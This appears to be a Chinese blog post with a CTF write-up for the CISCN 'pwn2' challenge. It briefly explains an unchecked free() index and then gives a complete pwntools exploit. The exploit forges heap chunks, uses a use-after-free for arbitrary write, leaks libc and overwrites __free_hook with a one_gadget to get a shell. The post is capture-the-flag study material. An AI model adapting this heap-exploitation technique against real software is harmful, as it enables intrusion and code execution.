ciscn ctf国赛 第一天pwn2

分析程序可知free的时候下标没有检查,因此可以free任意地址,思路就是先申请块泄露堆地址,之后在heap段上伪造堆块释放,在uaf即可任意地址写,修改存指针的bss即可。

from pwn import *
p=process('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p=remote("85c3e0fcae5e972af313488de60e8a5a.kr-lab.com",58512)
def add(size,content):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.sendline(str(size))
    p.sendline(str(content))

def dell(index):
    p.recvuntil("Your choice:")
    p.sendline("4")
    p.sendline(str(index))

def write(index,content):
    p.recvuntil("Your choice:")
    p.sendline("3")
    p.sendline(str(index))
    p.sendline(content)
def show():
    p.recvuntil("Your choice:")
    p.sendline("1")
add(80,'')
add(80,'')
dell(0)
dell(1)
add(80,'')
show()
p.recvuntil("\n")
addr=u64(p.recvuntil("=")[:-1].ljust(8,'\x00'))*256
dell(0)
print hex(addr)
add(80,'')
add(80,'')
payload=p64(0)+p64(0x30+addr)+p64(0)+p64(81)+p64(0x602068)
x=(addr+0x10-0x602060)/16
print x
payload1=p64(0x51)*8
write(0,payload1)
write(1,payload)
dell(x)
write(1,payload)
add(70,'')
add(70,'')
write(3,p64(0x601fa8))
p.sendline('1')
p.recvuntil("1 :")
libc_base=u64(p.recvuntil("2")[1:-1].ljust(8,'\x00'))-0x844f0
one_gadget = libc_base + 0x4526a
print hex(libc_base)
free_hook = libc_base + libc.symbols["__free_hook"]
write(3,p64(free_hook))
write(1,p64(one_gadget))
#add(80,'')
gdb.attach(p)
p.interactive()

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 网鼎杯第一场wp guess防护机制:image.png 开启了canary和NX 简单的看了下反编译的逻辑 发现...
    zs0zrc阅读 2,016评论 0 4
  • //查看出口流量iftop -n //查看最近一天有改动的文件find ./ -mtime 0 //按照指定时间段...
    是瑞瀛呀阅读 593评论 0 0
  • 还记得那是16年的暑假,那天刚好是我值班,你一袭白裙从滴滴走下来,给人清新一亮的感觉,那时你走进校门,其实我就注意...
    宜修YX阅读 140评论 0 0
  • 新年,新年。 想说点什么,可是又不知道从哪里开口。每天不忙,但闲着挺累的。执行力变得模糊,感受力也变得粗糙。又老是...
    齐大宝阅读 376评论 0 0